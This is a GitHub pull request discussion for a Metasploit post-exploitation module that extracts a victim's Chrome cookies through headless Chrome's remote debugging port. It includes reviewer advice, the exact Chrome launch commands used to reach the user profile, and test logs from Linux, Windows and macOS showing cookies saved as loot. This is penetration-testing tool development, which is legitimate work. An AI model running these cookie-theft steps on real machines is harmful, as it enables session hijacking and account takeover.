Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Gather chrome cookies post module #11052

Merged

Conversation

@defaultnamehere
Copy link
Contributor

defaultnamehere commented Dec 3, 2018

Adds a new module to extract a user's Chrome cookies post-exploitation. This does not require root.

Verification

  • Start msfconsole
  • Obtain a session on the target machine
  • use post/chrome/gather/cookies
  • set SESSION <your session ID>
  • run
  • Verify The current user's Chrome cookies are saved as loot
msf > use post/multi/gather/chrome_cookies 
msf post(multi/gather/chrome_cookies) > options

Module options (post/multi/gather/chrome_cookies):

  Name                   Current Setting  Required  Description
  ----                   ---------------  --------  -----------
  CHROME_BINARY_PATH                      no        The path to the user's Chrome binary (leave blank to use the default for the OS)
  REMOTE_DEBUGGING_PORT  9222             no        Port on target machine to use for remote debugging protocol
  SESSION                <your session id>                yes       The session to run this module on.
  WRITABLE_DIR       /tmp             no        Where to write the html used to steal cookies temporarily

msf post(multi/gather/chrome_cookies) > set SESSION <your session id>
session => <your session id>
msf post(multi/gather/chrome_cookies) > run

[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-web-security --disable-plugins --user-data-dir="/home/<username>/.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh
[+] 1473 Chrome Cookies stored in /home/<local_username>/.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt
[*] Post module execution completed

Background

See https://github.com/defaultnamehere/cookie_crimes and https://mango.pdf.zone/stealing-chrome-cookies-without-a-password

Contribution Questions

I don't really know much about how metasploit works, and was hoping some metasploit-framework contributors could help. Specifically:

  • Is it alright that I've created a new chrome directory under post? This exploit technically only works on Linux and macOS, but I put it under chrome in the hopes that someone (probably me, sigh) adds Windows support one day.
  • What session types/OS should I list this module as being compatible with? I've listed both meterpreter and shell, and tested on Linux (Chrome 65.0.3325.181, Ubuntu 18.04) using python/meterpreter/reverse_tcp.
  • Is there a better way for a meterpreter to make websocket requests? I've hacked together the downloading and execution of a binary to do the websocket request/response, and I think this module would be much more robust and opsec-safe if this could be avoided.

I've also not added some features to this module. These are Windows support (which the technique supports but not this module) and the ability to enumerate and choose which Chrome Profile to read cookies from (the default is used as-is). I'm hoping someone with more metasploit/Windows experience can help.

This is my first time writing a metasploit module or Ruby, so feel free to tear this to shreds.

@bcoles bcoles added module docs labels Dec 3, 2018
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
modules/post/chrome/gather/cookies.rb Outdated Show resolved Hide resolved
Co-Authored-By: defaultnamehere <defaultnamehere@users.noreply.github.com>
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Dec 3, 2018

This is my first time writing a metasploit module or Ruby, so feel free to tear this to shreds.

For someone who is new to the project, you've done a good job of obeying convention.

Is it alright that I've created a new chrome directory under post? This exploit technically only works on Linux and macOS, but I put it under chrome in the hopes that someone (probably me, sigh) adds Windows support one day.

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

What session types/OS should I list this module as being compatible with? I've listed both meterpreter and shell, and tested on Linux (Chrome 65.0.3325.181, Ubuntu 18.04) using python/meterpreter/reverse_tcp.

Both shell and meterpreter are probably correct. It would be best to test on sessions of both types. The Python meterpreter is one of the flakier meterpreters, so if you've tested with that then I'd consider meterpreter as tested. The module should also be tested on a command shell session (ie, reverse_netcat).


Generally modules don't download and execute software on the target. This instance may be an exception. I'll defer to someone else on this.

@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 3, 2018

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

With the directory structure, I was copying post/firefox/gather. Just to check, should I be consistent with firefox or multi?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Dec 3, 2018

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

With the directory structure, I was copying post/firefox/gather. Just to check, should I be consistent with firefox or multi?

You should be consistent with post/multi.

The second directory denotes platforms/architectures. The post/firefox modules are special in that they're executed within a Firefox shell. They execute JavaScript rather than OS commands.

# grep -rn cmd_exec modules/post/firefox/ | wc -l
0
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Dec 8, 2018

Jenkins test this please

Module now uses Chrome itself as a websocket client, reading websockets
via js. It no longer downloads and executes `websocat`.
@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 12, 2018

I've rewritten this to no longer download and execute websocat. Much simplier!
Module now uses Chrome itself as a websocket client, reading websockets via js.

Unfortunately, running this still leaves a running chrome process in the background. Part of this was because I couldn't figure out a way to cmd_exec something and get both the process' PID and stdout.

How can I do this in a metasploit-y way?

modules/post/multi/gather/chrome_cookies.rb Outdated Show resolved Hide resolved
modules/post/multi/gather/chrome_cookies.rb Outdated Show resolved Hide resolved

configure_for_platform
cookies = get_cookies
cookies_parsed = JSON.parse cookies

This comment has been minimized.

Copy link
@bcoles

bcoles Dec 12, 2018

Contributor

Given that you're doing manual parsing to return the cookies, it is possible that cookies will not be valid JSON, in which case you're in for a bad time.

Consider adding an ensure to the exploit method, to ensure graceful cleanup; and also consider adding a begin / rescue clause to the JSON parsing here. Given that the exploit method is fairly short, you could do something like this:

def exploit
  configure_some_stuff
  parse_some_json
  save_the_result
rescue JSON::ParserError => e
  print_error "Something when horribly wrong parsing the JSON: #{e.message}"
ensure
  cleanup_html
end
@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 14, 2018

Was there a way to get both a cmd_exec'd process' PID and stdout?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Dec 14, 2018

Was there a way to get both a cmd_exec'd process' PID and stdout?

cmd_exec is a complex method and has various branches, depending on the type of session (command shell / meterpreter / powershell).

  #
  # Executes +cmd+ on the remote system
  #
  # On Windows meterpreter, this will go through CreateProcess as the
  # "commandLine" parameter. This means it will follow the same rules as
  # Windows' path disambiguation. For example, if you were to call this method
  # thusly:
  #
  #     cmd_exec("c:\\program files\\sub dir\\program name")
  #
  # Windows would look for these executables, in this order, passing the rest
  # of the line as arguments:
  #
  #     c:\program.exe
  #     c:\program files\sub.exe
  #     c:\program files\sub dir\program.exe
  #     c:\program files\sub dir\program name.exe
  #
  # On POSIX meterpreter, if +args+ is set or if +cmd+ contains shell
  # metacharacters, the server will run the whole thing in /bin/sh. Otherwise,
  # (cmd is a single path and there are no arguments), it will execve the given
  # executable.
  #
  # On Java, it is passed through Runtime.getRuntime().exec(String) and PHP
  # uses proc_open() both of which have similar semantics to POSIX.
  #
  # On shell sessions, this passes +cmd+ directly the session's
  # +shell_command_token+ method.
  #
  # Returns a (possibly multi-line) String.
  #
  def cmd_exec(cmd, args="", time_out=15)
    case session.type
    when /meterpreter/
      start = Time.now.to_i

      session.response_timeout = time_out
      process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
      o = ""
      # Wait up to time_out seconds for the first bytes to arrive
      while (d = process.channel.read)
        o << d
        if d == ""
          if Time.now.to_i - start < time_out
            sleep 0.1
          else
            break
          end
        end
      end

      begin
        process.channel.close
      rescue IOError => e
        # Channel was already closed, but we got the cmd output, so let's soldier on.
      end

      process.close
    when /powershell/
      o = session.shell_command("#{cmd} #{args}", time_out)
    when /shell/
      o = session.shell_command_token("#{cmd} #{args}", time_out)
    end

    o ? o.chomp : ""
  end

I'm not sure if perhaps there's a way to get the pid with session.sys.process.execute on Meterpreter sessions, but obviously that won't work on shell sessions.

There are multiple ways to get the pid of a running process. However, trying to manually retrieve and parse the pid is problematic, as the module supports [linux unix bsd osx]. There are libraries to do this - lib/msf/core/post/linux/system.rb supports the pidof method for Linux for example - however, you'll likely run into issues with differing behavior on different platforms.

As you control the creation of the headless chrome process, is there also a way to kill it, or set the process to die after a specified period of time? Can you send a command to the socket to kill the process? Using Chrome in this manner would be as close to a universal approach as possible. ie, it should work across platforms and across session types.

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Dec 14, 2018

I haven't tested this but as @bcoles suggested pidof(@chrome_debugging_cmd) should work.
Alternatively you could try something like cmd_exec(@chrome_debugging_cmd + " & echo $1")
You could try sending Target.closeTarget via the remote debugging api to terminate it too.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Dec 14, 2018

You could try sending Target.closeTarget via the remote debugging api to terminate it too.

I like this idea as a cross-platform solution. Presuming of course that you can send Target.closeTarget command without creating another zombie chrome process.

@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 16, 2018

You could try sending Target.closeTarget via the remote debugging api to terminate it too.

I like this idea as a cross-platform solution. Presuming of course that you can send Target.closeTarget command without creating another zombie chrome process.

Ah, I already tried a few ways of getting Chrome to close itself. I want this to have Windows support one day, so I'm trying to do it in a platform-agnostic way.

I tried https://chromedevtools.github.io/devtools-protocol/1-3/Target/#method-closeTarget, and also Browser.close, but unfortunately these devtools commands are only present in devtools-protocol 1.3 and later. 1.3 is a RC, so I'm not sure if it will be present on older Chrome versions.

I used Browser.getVersion to check my machine's protocol version, and got 1.2.

{"id":1,"result":{"protocolVersion":"1.2","product":"HeadlessChrome/65.0.3325.181","revision":"@dc3469be277cc962ba01d9c0cb5bb1a265676c36","userAgent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/65.0.3325.181 Safari/537.36","jsVersion":"6.5.254.41"}}

This conflicts with the docs here which say that Chrome 65 and up should have version 1.3, and also, critically, conflicts with what the docs say about Network.getAllCookies. The docs say Network.getAllCookies is not in version 1.2, but, well, I'm using it in this module without issues.

I also tried Browser.close, which didn't work.

"{"error":{"code":-32601,"message":"'Browser.close' wasn't found"},"id":1}"

This is because Browser.close is disabled in headless mode. I inspected the commands available to my running Chrome by curling localhost:9222/json/protocol, and indeed Browser.close is there, but doesn't work in headless.

I also already tried sending keybord shortcuts to close the Chrome window to headless Chrome. The commands were recieved successfully, but the headless Chrome process didn't terminate.

I'm still looking in to whether it's possible to kill headless Chrome via either js or devtools protocol. Suuurely there must be a way.

Honestly, I could just use cmd_exec_get_pid and send the output of the command to another temp file. I think that might be the easiest hack to work around not being able to get the pid and stdout with cmd_exec.

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Dec 16, 2018

You could always just kill any --headless processes on cleanup.
Also feel free to drop support for shell sessions if it makes it easier.

@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 16, 2018

Ah, how do I kill processes by name cross-platform?

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Dec 17, 2018

@jrobles-r7 jrobles-r7 self-assigned this Dec 17, 2018
@jrobles-r7

This comment has been minimized.

Copy link
Contributor

jrobles-r7 commented Dec 18, 2018

I opened defaultnamehere#1 to add Windows support to the module, however it does not work with shell sessions and I was not able to get --headless to return the output so a window does pop up when it runs (on Windows). As a workaround to get the expected output on Windows, --enable-logging was used and the chrome_output.log file is read to get the cookies.

jrobles-r7 and others added 3 commits Dec 19, 2018
Add Windows Support For Chrome Cookies
@defaultnamehere

This comment has been minimized.

Copy link
Contributor Author

defaultnamehere commented Dec 30, 2018

This now cleans up the headless Chrome process for meterpreter sessions, and gives a warning that it won't be cleaned up for shell sessions.

This also works on Windows now, thanks to help from @jrobles-r7.

@jrobles-r7

This comment has been minimized.

Copy link
Contributor

jrobles-r7 commented Jan 8, 2019

Tested on Ubuntu 18.04.1 LTS running google-chrome v71.0.3578.98

msf5 post(multi/gather/chrome_cookies) > exploit

[!] This module will leave a headless Chrome process running on the target machine.
[*] Determining session platform
[*] Platform: linux
[*] Type: meterpreter
[*] Activated Chrome's Remote Debugging (pid: 11904) via google-chrome --headless --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu  --user-data-dir="/home/msfdev/.config/google-chrome"  --remote-debugging-port=9222  /tmp/yvnanRmPrr8F2.html > /tmp/CKud4E9zUn6m 2>&1
[+] Found Match
[+] 30 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108064949_default_172.22.222.132_chrome.gather.co_798186.txt
[*] Removing file /tmp/yvnanRmPrr8F2.html
[*] Removing file /tmp/CKud4E9zUn6m
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) >

Tested on Ubuntu 18.04.1 LTS running google-chrome v71.0.3578.98

msf5 post(multi/gather/chrome_cookies) > exploit

[!] This module will leave a headless Chrome process running on the target machine.
[*] Determining session platform
[*] Platform: linux
[*] Type: shell
[*] Max line length is 65537
[*] Writing 1131 bytes in 1 chunks of 3964 bytes (octal-encoded), using printf
[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu  --user-data-dir="/home/msfdev/.config/google-chrome"  --remote-debugging-port=9222  /tmp/NEHMtiSaaIqT.html > /tmp/EdC6qgRVorQ7 2>&1
[+] Found Match
[+] 30 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065028_default_172.22.222.132_chrome.gather.co_044535.txt
[*] Removing file /tmp/NEHMtiSaaIqT.html
[*] Removing file /tmp/EdC6qgRVorQ7
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) > 

Tested on Windows 10 Pro running Google Chrome v71.0.3578.98

msf5 post(multi/gather/chrome_cookies) > exploit

[*] Determining session platform
[*] Platform: windows
[*] Type: meterpreter
[*] Activated Chrome's Remote Debugging (pid: 9452) via "\Program Files (x86)\Google\Chrome\Application\chrome.exe" --window-position=0,0 --enable-logging --v=1 --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu  --user-data-dir="\Users\msfdev\AppData\Local\Google\Chrome\User Data"  --remote-debugging-port=9222  \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
[+] Found Match
[+] 169 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065112_default_172.22.222.200_chrome.gather.co_082863.txt
[*] Removing file \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
[*] Removing file \Users\msfdev\AppData\Local\Google\Chrome\User Data\chrome_debug.log
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) >

Tested on OS X El Capitan running Google Chrome v71.0.3578.98

msf5 post(multi/gather/chrome_cookies) > exploit

[!] This module will leave a headless Chrome process running on the target machine.
[*] Determining session platform
[*] Platform: osx
[*] Type: meterpreter
[*] Activated Chrome's Remote Debugging (pid: 12334) via "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --headless --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu  --user-data-dir="/Users/vagrant/Library/Application Support/Google/Chrome"  --remote-debugging-port=9222  /tmp/HA6uJnt9PJDsFe.html > /tmp/5HA7AhHvexSE 2>&1
[+] Found Match
[+] 23 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065159_default_172.22.222.130_chrome.gather.co_840359.txt
[*] Removing file /tmp/HA6uJnt9PJDsFe.html
[*] Removing file /tmp/5HA7AhHvexSE
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) >

Tested on OS X El Capitan running Google Chrome v71.0.3578.98

msf5 post(multi/gather/chrome_cookies) > exploit

[!] This module will leave a headless Chrome process running on the target machine.
[*] Determining session platform
[*] Platform: osx
[*] Type: shell
[*] Max line length is 131073
[*] Writing 1131 bytes in 1 chunks of 3964 bytes (octal-encoded), using printf
[*] Activated Chrome's Remote Debugging via "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --headless --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu  --user-data-dir="/Users/vagrant/Library/Application Support/Google/Chrome"  --remote-debugging-port=9222  /tmp/lcXg3sDGdh9TNNI.html > /tmp/v6Mqkd3hWxy6eV 2>&1
[+] Found Match
[+] 23 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065531_default_172.22.222.130_chrome.gather.co_600466.txt
[*] Removing file /tmp/lcXg3sDGdh9TNNI.html
[*] Removing file /tmp/v6Mqkd3hWxy6eV
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) >
@jrobles-r7 jrobles-r7 merged commit 8ca8206 into rapid7:master Jan 8, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
jrobles-r7 added a commit that referenced this pull request Jan 8, 2019
msjenkins-r7 added a commit that referenced this pull request Jan 8, 2019
@jrobles-r7

This comment has been minimized.

Copy link
Contributor

jrobles-r7 commented Jan 8, 2019

Release Notes

The chrome_cookies post module uses Chrome's Remote Debugging to read all cookies from the default Chrome profile of the user.

@HeroXx

This comment has been minimized.

Copy link

HeroXx commented Mar 15, 2019

Not working on macOS Mojave:

[+] Found Match
[+] 0 Chrome Cookies stored in /root/.msf4/loot/20190315120508_default_1_chrome.gather.co_774585.txt
[*] Post module execution completed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
7 participants
You can’t perform that action at this time.